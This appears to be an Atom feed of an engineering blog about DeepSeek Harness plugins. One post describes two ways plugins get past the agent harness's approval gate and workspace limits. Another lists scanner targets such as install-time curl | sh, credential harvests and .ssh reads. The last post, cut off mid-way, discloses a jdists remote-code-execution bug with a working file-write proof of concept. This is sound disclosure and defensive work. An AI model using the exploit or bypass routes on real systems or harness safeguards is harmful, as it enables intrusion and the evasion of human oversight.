<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://zoahdev.github.io/blog/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://zoahdev.github.io/blog/blog/" rel="alternate" type="text/html" /><updated>2026-08-17T15:16:56+00:00</updated><id>https://zoahdev.github.io/blog/blog/feed.xml</id><title type="html">zoahdev — engineering notes</title><subtitle>Evidence-first engineering deep-dives on DeepSeek Harness and agent runtimes. Root causes, reproductions, mechanism-level fixes.</subtitle><entry><title type="html">196 read-only tools, zero API keys: the discipline behind the catalog</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/196-tools-zero-api-keys.html" rel="alternate" type="text/html" title="196 read-only tools, zero API keys: the discipline behind the catalog" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/196-tools-zero-api-keys</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/196-tools-zero-api-keys.html"><![CDATA[<h1 id="196-read-only-tools-zero-api-keys">196 read-only tools, zero API keys</h1>

<p><strong>Summary.</strong> <a href="https://github.com/zoahdev/dsh-github-intelligence">dsh-github-intelligence</a>
is a DeepSeek Harness plugin with 196+ read-only developer-intelligence tools
across 16 ecosystems (GitHub, GitLab, Gitee, npm, PyPI, crates.io, Docker Hub,
Hugging Face, Hacker News, Stack Overflow, Reddit, dev.to, RubyGems, NuGet,
the Go module proxy, ArXiv) — no API key required. This post is about the
rule that made it trustworthy: <strong>a tool does not exist until its real API call
has been verified live</strong>, and an API that looks public but is not gets dropped,
not papered over.</p>

<hr />

<h2 id="the-rule-verify-live-then-ship">The rule: verify live, then ship</h2>

<p>Every tool in the catalog is backed by a real, anonymous HTTP call to the
ecosystem’s public API. No mocks, no fixtures, no “should work” entries. A new
ecosystem only joins after:</p>

<ol>
  <li>a real anonymous request succeeds against the documented endpoint;</li>
  <li>the response parses into a stable shape;</li>
  <li>the tool returns that shape to the agent;</li>
  <li>rate-limit behavior is understood (TTL caching added where the API is
aggressive).</li>
</ol>

<h2 id="the-counter-example-bitbucket">The counter-example: Bitbucket</h2>

<p>Bitbucket’s Cloud API documents anonymous access. The verification run
discovered the opposite: <strong>anonymous requests now return 404/410</strong>. The API
is publicly documented and effectively closed. So Bitbucket was deliberately
<strong>not</strong> added — with a note explaining why. That decision is in the README to
this day:</p>

<blockquote>
  <p>Bitbucket 已探测但故意不收录：公共 Cloud API 匿名访问现在返回 404/410——
这是”文档写着公开、实际已关”的坑，真实 API 验证拦住了它。</p>
</blockquote>

<p>This is the whole point of the discipline: a catalog is only as honest as its
least-verified entry, and one fake tool poisons every downstream agent.</p>

<h2 id="read-only-as-a-security-posture">Read-only as a security posture</h2>

<p>All 196+ tools are read-only. The plugin never mutates a user’s data through
the API surface — no commits, no issues, no releases. For an agent harness,
read-only intelligence tools are the difference between “a tool that helps”
and “a tool that needs its own permission model”.</p>

<h2 id="runtime-discoverability">Runtime discoverability</h2>

<p>The catalog ships a <code class="language-plaintext highlighter-rouge">github_help</code> tool: call it and the agent learns what the
other 195 tools do and when to use them. 196 tools is too many to memorize;
it is not too many to <em>discover</em>. The plugin also features:</p>

<ul>
  <li>unified tool style and one shared TTL cache;</li>
  <li>cancellation on every request;</li>
  <li>UI cards for the web surface;</li>
  <li>verified against <code class="language-plaintext highlighter-rouge">dsh</code> 0.1.0-rc.6, Node 24 / pnpm 11, CI green.</li>
</ul>

<h2 id="why-this-matters-beyond-one-plugin">Why this matters beyond one plugin</h2>

<p>Agent tooling is entering the “API marketplace” era, and the bottleneck is no
longer writing a wrapper — it is <strong>knowing which wrapper is real</strong>. A catalog
that documents its own verification discipline (and its rejections) is a
small but real contribution to that trust problem.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>dsh-github-intelligence 的 196+ 只读工具、16 大生态、零 API key，核心纪律是
“工具不存在直到真实调用被验证过”：每个工具背后都是真实匿名 HTTP 调用，
新生态必须过四步（真实请求成功 → 响应结构稳定 → agent 可消费 → 限流行为
清楚）。反面案例是 Bitbucket：文档写着公开、实测匿名访问 404/410，所以
故意不收并写明原因。全部工具只读、不碰用户数据；<code class="language-plaintext highlighter-rouge">github_help</code> 让 agent
运行时发现工具而不是硬记 196 个名字。在”API 市场”时代，能诚实记录自己
拒绝过什么的目录，才值得被信任。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[196 read-only tools, zero API keys]]></summary></entry><entry><title type="html">Agents that remember: verification-driven self-evolution</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/agents-that-remember.html" rel="alternate" type="text/html" title="Agents that remember: verification-driven self-evolution" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/agents-that-remember</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/agents-that-remember.html"><![CDATA[<h1 id="agents-that-remember-verification-driven-self-evolution">Agents that remember: verification-driven self-evolution</h1>

<p><strong>Summary.</strong> Agents keep repeating expensive lessons: a crash fixed last week
gets re-debugged today, a Windows quirk gets rediscovered, an install trap
gets re-hit. <a href="https://github.com/zoahdev/dsh-rule-evolve">dsh-rule-evolve</a>
turns that loop into a traceable pipeline —
<code class="language-plaintext highlighter-rouge">experience → learn → rules (AGENTS.md) → verify (real checks)</code> — where every
rule carries its source and its last verification result, and <strong>nothing is
ever learned without being checked</strong>.</p>

<hr />

<h2 id="the-loop">The loop</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>experience (markdown)  →  learn  →  rules (AGENTS.md)  →  verify (real checks)
</code></pre></div></div>

<p>Concretely:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. learn from a retrospective / troubleshooting doc</span>
node scripts/dsh-evolve.mjs learn <span class="nt">--from</span> docs/troubleshooting.md <span class="nt">--out</span> experience.jsonl

<span class="c"># 2. generate rules</span>
node scripts/dsh-evolve.mjs rules <span class="nt">--experience</span> experience.jsonl <span class="nt">--out</span> AGENTS.md

<span class="c"># 3. verify against the real repo — every entry gets stamped verified: true/false</span>
node scripts/dsh-evolve.mjs verify <span class="nt">--experience</span> experience.jsonl <span class="nt">--dir</span> ./my-plugin
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">verify</code> runs the real check pipeline (dsh-plugin-doctor <code class="language-plaintext highlighter-rouge">check &lt;dir&gt;</code> by
default, override with <code class="language-plaintext highlighter-rouge">--cmd</code>). A rule that fails its check is not trusted —
it is flagged.</p>

<h2 id="the-self-improvement-round-v020">The self-improvement round (v0.2.0)</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># reflect on a completed task</span>
node scripts/dsh-evolve.mjs reflect <span class="nt">--task</span> <span class="s2">"make my plugin pass its own checks"</span> <span class="nt">--result</span> retro.md <span class="nt">--out</span> experience.jsonl

<span class="c"># evolve: verify against the real repo, install into a dsh profile, log one round</span>
node scripts/dsh-evolve.mjs evolve <span class="nt">--experience</span> experience.jsonl <span class="nt">--dir</span> ./my-plugin <span class="nt">--profile</span> web <span class="nt">--log</span> EVOLUTION.md
</code></pre></div></div>

<p>The rules land in <code class="language-plaintext highlighter-rouge">&lt;DSH_HOME&gt;/profiles/web/AGENTS.md</code> (previous file backed
up), so the next session actually starts with the lessons. Every round is
logged:</p>

<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gu">## Round 1 — 2026-08-15T…</span>
<span class="p">-</span> New rules: 5
<span class="p">-</span> Verified: yes ✅
<span class="p">-</span> Sources: examples/doctor-experience.md
<span class="p">-</span> Command: dsh-evolve evolve --experience … --dir … --profile web
</code></pre></div></div>

<h2 id="why-verification-gates-are-the-whole-point">Why verification gates are the whole point</h2>

<p>There are two ways to let an agent “evolve”:</p>

<ol>
  <li><strong>Evolve which code runs</strong> — powerful, and dangerous without boundaries.</li>
  <li><strong>Evolve which rules are trusted</strong> — with a verification gate between
“learned” and “applied”.</li>
</ol>

<p>The second is the direction that stays auditable: every rule has a source and
a last-verification timestamp; nothing enters the profile silently. Evolution
is a reviewed diff, not a mutation.</p>

<h2 id="dogfood">Dogfood</h2>

<p>The doctor repo passes its own check with five verified rules installed into a
profile (see <code class="language-plaintext highlighter-rouge">examples/demo/EVOLUTION.md</code>). The loop is not hypothetical — it
is the same repository that ships the checks, running the checks on itself.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>agent 最大的浪费是重复踩同一个坑。dsh-rule-evolve 把”经验 → 规则 → 验证”
变成可审计流水线：每条规则带来源和最近一次验证结果，没有被真实检查过的东西
不会被信任。v0.2.0 支持 reflect → evolve 完整闭环：规则通过真实检查后安装进
dsh profile，下一轮会话直接带着教训启动，每轮写进 EVOLUTION.md。关键是方向：
不是”让代码自我修改”，而是”让被验证的规则自我进化”——进化是一次可 review
的 diff，不是一次变异。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Agents that remember: verification-driven self-evolution]]></summary></entry><entry><title type="html">Approval is not a security boundary</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/approval-is-not-a-security-boundary.html" rel="alternate" type="text/html" title="Approval is not a security boundary" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/approval-is-not-a-security-boundary</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/approval-is-not-a-security-boundary.html"><![CDATA[<h1 id="approval-is-not-a-security-boundary">Approval is not a security boundary</h1>

<p><strong>Summary.</strong> In DeepSeek Harness, the ask-approval gate and workspace-write
limits are <strong>consent / routing UX, not OS security boundaries</strong>. Two verified
bypass families make this concrete:</p>

<ol>
  <li><a href="https://github.com/deepseek-ai/deepseek-harness/discussions/1863">#1863</a> —
<code class="language-plaintext highlighter-rouge">pre-execute</code> listeners run before <code class="language-plaintext highlighter-rouge">ask</code> approval; a plugin can finish host
operations in a separate Node.js child process and only then return <code class="language-plaintext highlighter-rouge">ask</code>.</li>
  <li><a href="https://github.com/deepseek-ai/deepseek-harness/discussions/1923">#1923</a> —
delegating execution to a user-privileged external shell
(<code class="language-plaintext highlighter-rouge">explorer</code> / <code class="language-plaintext highlighter-rouge">start</code> / <code class="language-plaintext highlighter-rouge">open</code>) sidesteps both gates: the agent is not
running the command, the user’s own context is.</li>
</ol>

<p>The framing matters: <strong>plugins are installed host code</strong>. They can import Node
built-ins and run anything. Approval gates <em>intent</em>, not <em>capability</em> — it
cannot retroactively undo a listener that already ran host operations before
returning <code class="language-plaintext highlighter-rouge">ask</code>.</p>

<hr />

<h2 id="family-1-side-effects-before-the-ask-pre-execute">Family 1: side effects before the ask (<code class="language-plaintext highlighter-rouge">pre-execute</code>)</h2>

<p>The original finding: a <code class="language-plaintext highlighter-rouge">tools/pre-execute</code> listener can perform its work in
an independent Node.js subprocess and only then return <code class="language-plaintext highlighter-rouge">ask</code> — so the approval
UI shows a prompt after the operation already happened. Nothing in the harness
can distinguish “the listener decided to decline” from “the listener already
executed and is asking for form’s sake”.</p>

<p>Consequence for API design: <code class="language-plaintext highlighter-rouge">pre-execute</code> listeners should be <strong>pure decision
functions</strong>. No child processes, no filesystem writes, no network in the
listener body.</p>

<h2 id="family-2-the-shell-launcher-bypass">Family 2: the shell-launcher bypass</h2>

<p>The second channel: <code class="language-plaintext highlighter-rouge">child_process</code> calls that hand off to the user’s own
shell environment — <code class="language-plaintext highlighter-rouge">explorer.exe</code>, <code class="language-plaintext highlighter-rouge">start</code>, <code class="language-plaintext highlighter-rouge">open</code>, <code class="language-plaintext highlighter-rouge">powershell</code>, <code class="language-plaintext highlighter-rouge">cmd</code> —
launch a process that inherits the user’s privileges and is no longer subject
to the agent’s workspace/approval policy. The agent “didn’t run the command”;
the user’s own context did.</p>

<h2 id="why-policy-checks-are-not-a-sandbox">Why policy checks are not a sandbox</h2>

<ul>
  <li>Approval gates <em>who is asked</em>, not <em>what can run</em>.</li>
  <li>Workspace-write limits route file access for agent tools; a plugin that
spawns outside the sandbox is simply outside the routing table.</li>
  <li>Static checks (heuristics, scans) can <em>reduce</em> the surface but cannot
<em>enforce</em> it — enforcement requires the OS boundary.</li>
</ul>

<h2 id="fix-directions-in-order-of-leverage">Fix directions, in order of leverage</h2>

<ol>
  <li><strong>OS-level sandbox, not just policy checks</strong>: workspace-write must map to
a restricted token / container. Windows direction:
<code class="language-plaintext highlighter-rouge">CreateRestrictedToken</code> (see #1789) so a “launched by the user’s shell”
process still runs without workspace-escape privileges.</li>
  <li><strong>Contract</strong>: <code class="language-plaintext highlighter-rouge">pre-execute</code> listeners are pure decision functions (no
child processes, no fs writes, no network).</li>
  <li><strong>Shell-launcher whitelisting</strong>: delegation surfaces that intentionally
use user-privileged shells need an explicit allowlist and a warning.</li>
</ol>

<h2 id="toolized-review-aids-honest-scope">Toolized review aids (honest scope)</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">dsh-plugin-doctor</code> <strong>v1.9.0</strong> <code class="language-plaintext highlighter-rouge">pre-execute-side-effects</code>: scans source/lib
for <code class="language-plaintext highlighter-rouge">pre-execute</code> listeners and flags same-file host-level side-effect APIs;
FAIL names the file and matched API.</li>
  <li><code class="language-plaintext highlighter-rouge">dsh-plugin-doctor</code> <strong>v1.11.0</strong> <code class="language-plaintext highlighter-rouge">shell-launcher</code>: warns when
<code class="language-plaintext highlighter-rouge">child_process</code> usage invokes <code class="language-plaintext highlighter-rouge">explorer</code> / <code class="language-plaintext highlighter-rouge">start</code> / <code class="language-plaintext highlighter-rouge">open</code> /
<code class="language-plaintext highlighter-rouge">powershell</code> / <code class="language-plaintext highlighter-rouge">cmd</code> surfaces (the #1923 channel).</li>
</ul>

<p>Both are explicitly labeled <strong>review aids, never a sandbox</strong>: 31/31 tests,
self-check exit 0, and the tool’s own <code class="language-plaintext highlighter-rouge">cmd.exe</code> wrapper shows up as an honest
WARN.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>在 DSH 里，”ask 审批”和”workspace 写限制”是同意/路由 UX，不是 OS 安全边界。
两条已验证的绕过：① <code class="language-plaintext highlighter-rouge">pre-execute</code> 监听器在审批前就能用独立子进程把事做完再
返回 ask（#1863）；② 借用户特权的外部 shell（explorer/start/open）执行，直接
绕过两个闸门（#1923）。插件是装进宿主的高权限代码，审批拦的是”意图”不是
“能力”。修复优先级：OS 级沙箱（Windows 走 CreateRestrictedToken 方向，
#1789）&gt; 契约约束（pre-execute 必须是纯决策函数）&gt; shell-launcher 白名单。
配套检测：dsh-plugin-doctor v1.9.0（pre-execute-side-effects）和 v1.11.0
（shell-launcher），明确标注为”审查辅助、不是沙箱”。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Approval is not a security boundary]]></summary></entry><entry><title type="html">Catching a poisoned plugin before it runs: three layers and an honest threat model</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/catching-a-poisoned-plugin.html" rel="alternate" type="text/html" title="Catching a poisoned plugin before it runs: three layers and an honest threat model" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/catching-a-poisoned-plugin</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/catching-a-poisoned-plugin.html"><![CDATA[<h1 id="catching-a-poisoned-plugin-before-it-runs">Catching a poisoned plugin before it runs</h1>

<p><strong>Summary.</strong> Plugin ecosystems inherit npm’s supply-chain problem: one
obfuscated <code class="language-plaintext highlighter-rouge">postinstall</code> can exfiltrate a user’s credentials before anyone
reads the source. <a href="https://github.com/zoahdev/dsh-poison-guard">dsh-poison-guard</a>
scans a DeepSeek Harness plugin before <code class="language-plaintext highlighter-rouge">dsh plugin add</code> with three layers —
AST analysis, a deobfuscation decoder, and regex fallback — while stating its
threat model honestly: <strong>this is defense-in-depth, not a security boundary</strong>.</p>

<hr />

<h2 id="three-layers">Three layers</h2>

<p><strong>1. AST analysis</strong> via NodeSecure JS-X-Ray (the SAST behind NodeSecure CLI):
variable tracing, dynamic-import resolution, obfuscator detection,
<code class="language-plaintext highlighter-rouge">eval</code> / <code class="language-plaintext highlighter-rouge">Function</code> / <code class="language-plaintext highlighter-rouge">vm</code> sinks, <code class="language-plaintext highlighter-rouge">data-exfiltration</code>,
<code class="language-plaintext highlighter-rouge">serialize-environment</code>, unsafe shell commands, and more.</p>

<p><strong>2. Deobfuscation decoder</strong>: unpacks <code class="language-plaintext highlighter-rouge">atob()</code>,
<code class="language-plaintext highlighter-rouge">Buffer.from(..., "base64"/"hex")</code>, <code class="language-plaintext highlighter-rouge">String.fromCharCode(...)</code>, and
<code class="language-plaintext highlighter-rouge">\xNN</code> / <code class="language-plaintext highlighter-rouge">\uNNNN</code> escapes, then <strong>re-scans the decoded strings</strong> for hidden
credentials, URLs, and shell commands. This is the layer that catches the
“it’s just base64, nobody will read it” attacks.</p>

<p><strong>3. Regex fallback</strong>: for obvious literals, non-code files, and install-time
scripts (<code class="language-plaintext highlighter-rouge">prepare</code> / <code class="language-plaintext highlighter-rouge">postinstall</code> / <code class="language-plaintext highlighter-rouge">install</code> / <code class="language-plaintext highlighter-rouge">preinstall</code>) — the classic
<code class="language-plaintext highlighter-rouge">curl ... | sh</code> surface.</p>

<p>Rules carry their layer as a prefix: <code class="language-plaintext highlighter-rouge">ast/*</code> (JS-X-Ray),
<code class="language-plaintext highlighter-rouge">deobfuscated-*</code> (decoder), <code class="language-plaintext highlighter-rouge">install-script*</code> (manifest), unprefixed (regex).</p>

<h2 id="what-it-makes-visible">What it makes visible</h2>

<table>
  <thead>
    <tr>
      <th>Severity</th>
      <th>Examples</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>HIGH</td>
      <td>data exfiltration, obfuscated require, eval/Function/vm, unsafe commands, decoded secrets/keys/commands, exfil combos</td>
    </tr>
    <tr>
      <td>MEDIUM</td>
      <td>env serialization, shady links, SQL injection, monkey-patching, prototype pollution, decoded URLs, network egress, child_process, install scripts</td>
    </tr>
    <tr>
      <td>LOW</td>
      <td>encoded literals, short identifiers, unsafe regex, weak crypto, env reads</td>
    </tr>
  </tbody>
</table>

<h2 id="the-honest-threat-model">The honest threat model</h2>

<p>No static tool can catch <strong>all</strong> poisoning: detecting arbitrary malicious
behavior in arbitrary code is undecidable (Rice’s theorem), and a determined
attacker can always craft an obfuscation a scanner cannot see through. What
the tool does is make the <strong>cheap, high-volume attacks</strong> visible to someone
who would never find them by reading source — hidden exfiltration URLs,
obfuscated <code class="language-plaintext highlighter-rouge">require("child_process")</code>, <code class="language-plaintext highlighter-rouge">eval</code> of base64 blobs, <code class="language-plaintext highlighter-rouge">process.env</code>
harvests, <code class="language-plaintext highlighter-rouge">.ssh</code> reads, install-time <code class="language-plaintext highlighter-rouge">curl | sh</code>.</p>

<p>The real boundary is the harness sandbox: keep untrusted plugins in
<code class="language-plaintext highlighter-rouge">workspace-write</code>, never <code class="language-plaintext highlighter-rouge">danger-full-access</code>. The last layer is provenance:
prefer verified, maintained, clearly-authored plugins. A scanner that claims
to be a security boundary would be exactly the kind of overclaim that destroys
trust — so this one explicitly says what it is not.</p>

<h2 id="usage">Usage</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># human-readable verdict</span>
dsh-poison-guard scan ./some-plugin

<span class="c"># machine-readable, for CI gates</span>
dsh-poison-guard scan ./some-plugin <span class="nt">--json</span>

<span class="c"># in-harness: the agent gains a plugin_scan tool</span>
dsh plugin <span class="nt">--profile</span> web add dsh-poison-guard
</code></pre></div></div>

<p>Live demo: https://zoahdev.github.io/dsh-poison-guard/</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>插件生态继承了 npm 的供应链问题：一个混淆的 postinstall 就能在没人读源码
之前偷走凭据。dsh-poison-guard 在安装前用三层扫描：AST（JS-X-Ray：变量追踪、
动态 import、eval/Function/vm 汇、数据外发）、反混淆解码器（解 atob/base64/
fromCharCode/转义后<strong>重新扫描解码串</strong>找隐藏凭据和命令）、正则兜底（安装脚本
curl|sh）。威胁模型说得很直白：检测任意恶意行为不可判定（Rice 定理），
这是纵深防御不是安全边界；真正的边界是 harness 沙箱（workspace-write vs
danger-full-access）+ 来源可信度。检测规则按层前缀 ast/<em>、deobfuscated-</em>、
install-script* 分类，支持 –json 进 CI。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Catching a poisoned plugin before it runs]]></summary></entry><entry><title type="html">Five implementations, one contract: how the DSH doctor ecosystem converged</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/five-implementations-one-contract.html" rel="alternate" type="text/html" title="Five implementations, one contract: how the DSH doctor ecosystem converged" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/five-implementations-one-contract</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/five-implementations-one-contract.html"><![CDATA[<h1 id="five-implementations-one-contract">Five implementations, one contract</h1>

<p><strong>Summary.</strong> In one week, five independent community tools for diagnosing
DeepSeek Harness converged on a single machine-readable contract
(<code class="language-plaintext highlighter-rouge">dsh-doctor/v1</code>) — not by committee, but by publishing specs with running
reference implementations and letting the format win on evidence. Thread:
<a href="https://github.com/deepseek-ai/deepseek-harness/discussions/1719">#1719</a>.</p>

<hr />

<h2 id="the-starting-point-five-tools-five-formats">The starting point: five tools, five formats</h2>

<p>The community shipped “dsh doctor” five times:</p>

<table>
  <thead>
    <tr>
      <th>Tool</th>
      <th>Author</th>
      <th>Shape</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>dsh-plugin-doctor</td>
      <td>zoahdev</td>
      <td>author-side preflight + profile tripwire</td>
    </tr>
    <tr>
      <td>dsh-doctor</td>
      <td>moonquake2004</td>
      <td>19 offline checks, zero deps</td>
    </tr>
    <tr>
      <td>dsh-doctor</td>
      <td>ciceroyang</td>
      <td>zero-dep single-file CLI + log health</td>
    </tr>
    <tr>
      <td>dsh-win32 doctor</td>
      <td>sjh9714</td>
      <td>win32-scoped, ships with the platform</td>
    </tr>
    <tr>
      <td>dsh-diagnose</td>
      <td>worm-ai</td>
      <td>symptom → mechanism → check skill</td>
    </tr>
  </tbody>
</table>

<p>Same niche, five output shapes. Nobody could pipe one tool into another, and
CI couldn’t consume any of them uniformly. That was the actual problem — not
the tools themselves.</p>

<h2 id="what-made-convergence-possible">What made convergence possible</h2>

<ol>
  <li><strong>A published envelope spec.</strong> <code class="language-plaintext highlighter-rouge">{ schema: "dsh-doctor/v1", generatedAt,
profile, exitCode, summary, ok, checks: [{name, status, detail}] }</code> with
lowercase status (<code class="language-plaintext highlighter-rouge">pass</code> / <code class="language-plaintext highlighter-rouge">warn</code> / <code class="language-plaintext highlighter-rouge">fail</code>) and a minimal compatible subset
of <code class="language-plaintext highlighter-rouge">{ok, checks}</code>.</li>
  <li><strong>Reference implementations, not promises.</strong> Each author shipped the
envelope in a real release within the same day: zoahdev v1.6.0,
moonquake2004 v0.2.4, ciceroyang v0.3.0, sjh9714 v0.8.x, worm-ai
<code class="language-plaintext highlighter-rouge">--doctor-json</code> (generation 61+).</li>
  <li><strong>Independent verification with honest gap marks.</strong> moonquake2004 mapped
all 16 of dsh-diagnose’s symptom families to its 28 checks with ✅ direct /
⚠️ partial / ❌ gap — including two honest gaps (sandbox denials, approval
policy) that no offline probe can see.</li>
  <li><strong>Provenance without a global registry.</strong> The <code class="language-plaintext highlighter-rouge">tool</code> field was added as
an optional provenance marker instead of forcing a global check-id
registry early — “checks are data” (declarative, read-only probes) per the
check-lifecycle draft.</li>
</ol>

<h2 id="the-vocabulary-freeze-candidate">The vocabulary freeze candidate</h2>

<p>The check-name vocabulary went through four drafts (r1 → r4), incorporating:</p>

<ul>
  <li>the <code class="language-plaintext highlighter-rouge">skip</code> status with a mandatory reason (sjh9714);</li>
  <li>corrected <code class="language-plaintext highlighter-rouge">node</code> provenance — repo-declared <code class="language-plaintext highlighter-rouge">engines</code>, not folklore
(ciceroyang, escalated to #2259);</li>
  <li><code class="language-plaintext highlighter-rouge">pass</code> → <code class="language-plaintext highlighter-rouge">ok</code> normalization debate, settled at the freeze boundary.</li>
</ul>

<p>The r4 draft is a freeze candidate: same check names, interchangeable across
implementations, CI scripts matching only <code class="language-plaintext highlighter-rouge">checks[].name</code> + <code class="language-plaintext highlighter-rouge">status</code>.</p>

<h2 id="why-this-is-a-repeatable-pattern">Why this is a repeatable pattern</h2>

<p>The convergence did not happen because anyone “won”. It happened because each
round published:</p>

<ol>
  <li>a spec diff,</li>
  <li>a running implementation of that diff,</li>
  <li>independent verification against the actual source,</li>
  <li>an honest list of what the tool still cannot see.</li>
</ol>

<p>The last point is the one that builds trust: a diagnostic that admits its
gaps is one you can build on.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>一周内五个社区工具（dsh-plugin-doctor / moonquake2004 dsh-doctor /
ciceroyang dsh-doctor / dsh-win32 / dsh-diagnose）收敛到同一个
<code class="language-plaintext highlighter-rouge">dsh-doctor/v1</code> 契约，靠的不是开会，而是”规格 + 当天就上线参考实现 +
独立核对 + 诚实标注盲区”四件套。检查名词表走到 r4 冻结候选，<code class="language-plaintext highlighter-rouge">tool</code> 字段
解决来源溯源而不抢注册表。经验：能承认自己看不到什么的诊断工具，才值得
别人在此基础上继续盖楼。完整讨论：#1719。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Five implementations, one contract]]></summary></entry><entry><title type="html">From code processor to code execution: RCE in jdists</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/from-code-processor-to-code-execution.html" rel="alternate" type="text/html" title="From code processor to code execution: RCE in jdists" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/from-code-processor-to-code-execution</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/from-code-processor-to-code-execution.html"><![CDATA[<h1 id="from-code-processor-to-code-execution-rce-in-jdists">From code processor to code execution: RCE in jdists</h1>

<p><strong>Summary.</strong> <code class="language-plaintext highlighter-rouge">jdists</code> — a code-block processing tool used by Baidu’s FIS
build ecosystem — evaluates the <code class="language-plaintext highlighter-rouge">trigger</code> attribute of a <code class="language-plaintext highlighter-rouge">&lt;!--jdists ... --&gt;</code>
block via <code class="language-plaintext highlighter-rouge">new Function</code>. The attribute comes straight from the file being
processed. Processing a malicious file therefore executes arbitrary code with
the build process’s privileges. Verified with a file-write PoC; reported as
<a href="https://github.com/zswang/jdists/issues/16">zswang/jdists#16</a>.</p>

<hr />

<h2 id="how-the-finding-happened">How the finding happened</h2>

<p>The audit series had already produced two findings (a stack overflow and a
regex injection), both from low-maintenance packages. The strategy: keep
following the unmaintained corner of npm. <code class="language-plaintext highlighter-rouge">fis-parser-jdists</code> — a thin wrapper
around <code class="language-plaintext highlighter-rouge">jdists</code> — led to the core, and the core had three <code class="language-plaintext highlighter-rouge">new Function</code>
call sites. The interesting question was data flow: <strong>do any of them evaluate
strings that come from the processed file?</strong></p>

<h2 id="the-vulnerability-chain">The vulnerability chain</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file content: &lt;!--jdists trigger="..."--&gt;  →  node.attrs.trigger
        ↓
execTrigger(node.attrs.trigger)             // lib/scope.js
        ↓
new Function('return (' + trigger + ')' )() // line ~478
        ↓
arbitrary code execution
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">trigger</code> attribute is not restricted to known names — the safe path only
matches <code class="language-plaintext highlighter-rouge">^([\w-_]+)(,[\w-_]+)*$</code>. Anything else is handed to <code class="language-plaintext highlighter-rouge">new Function</code>
verbatim.</p>

<h2 id="the-poc-verified-on-jdists224">The PoC (verified on jdists@2.2.4)</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">jdists</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">jdists</span><span class="dl">'</span><span class="p">)</span>

<span class="kd">const</span> <span class="nx">content</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;!--jdists trigger="(require(</span><span class="se">\'</span><span class="s1">fs</span><span class="se">\'</span><span class="s1">).writeFileSync(</span><span class="se">\'</span><span class="s1">pwned.txt</span><span class="se">\'</span><span class="s1">,</span><span class="se">\'</span><span class="s1">PWNED</span><span class="se">\'</span><span class="s1">),true)"--&gt;keep&lt;!--/jdists--&gt;</span><span class="dl">'</span>

<span class="nx">jdists</span><span class="p">.</span><span class="nx">build</span><span class="p">(</span><span class="nx">content</span><span class="p">,</span> <span class="p">{</span> <span class="na">fromString</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">remove</span><span class="p">:</span> <span class="dl">''</span> <span class="p">})</span>
<span class="c1">// build output: "keep"</span>
<span class="c1">// pwned.txt is created — the code ran</span>
</code></pre></div></div>

<p>The build output looks completely normal. The file write happens silently
alongside it.</p>

<h2 id="amplifiers">Amplifiers</h2>

<p><code class="language-plaintext highlighter-rouge">lib/jdists.js</code> executes <code class="language-plaintext highlighter-rouge">global.require = require</code> for its template
processors — so the evaluated code has the entire Node module system:</p>

